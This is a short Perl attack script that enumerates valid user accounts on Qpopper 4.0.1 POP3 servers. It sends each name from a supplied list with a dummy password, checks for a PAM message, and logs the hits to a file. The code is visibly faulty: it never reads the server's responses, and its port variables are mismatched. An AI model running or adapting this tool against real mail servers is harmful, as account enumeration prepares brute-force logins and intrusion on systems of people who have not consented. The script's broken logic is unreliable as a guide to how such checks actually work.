#!/usr/bin/perl
#
# User Account Name is Valid or Non-Valid ?
#
# Qpopper on a Redhat Linux 7.x box from
# an RPM package of version 4.0.1.
#
# coded by NeMeS||y -dkl-
# dragon@shellnow.it
#######################################
use IO::Socket;

if (@ARGV < 2) {
    print "Qpopper Mail Server & pam.d\n";
    print "\nUsage: $0 <target> <user list> [port]\n";
    print "Default port : 110\n\n";
    exit(1);
}
$string = "PAM";
if ($ARGV[0] == ' ') {
$porta = 110;
($target, $user) = @ARGV;
}
else { ($target,$user,$port) = @ARGV};


open(user,"<$user");
$valid_user = $target.".txt";
$sock = IO::Socket::INET->new( PeerAddr => "$target",
                                                    Proto    => "tcp",
                                                  PeerPort => "$porta");


while (!eof(user)) {
 $acc = <user>;
 print $sock "user $acc\r\n";
 $mes = print $sock "pass DkL\n";
 if ($mes =~ /$string/i)  {
  print "\n";
  print $acc." is a valid account!!!\n\n";
  open (VALID,">>$valid_user");
  print VALID $acc; }
 else { print $acc." isnt a valid account\n\n" };
}
print "\n\n EOF -dkl-\n\n";
close ($sock);
__END__
# [LuNa] #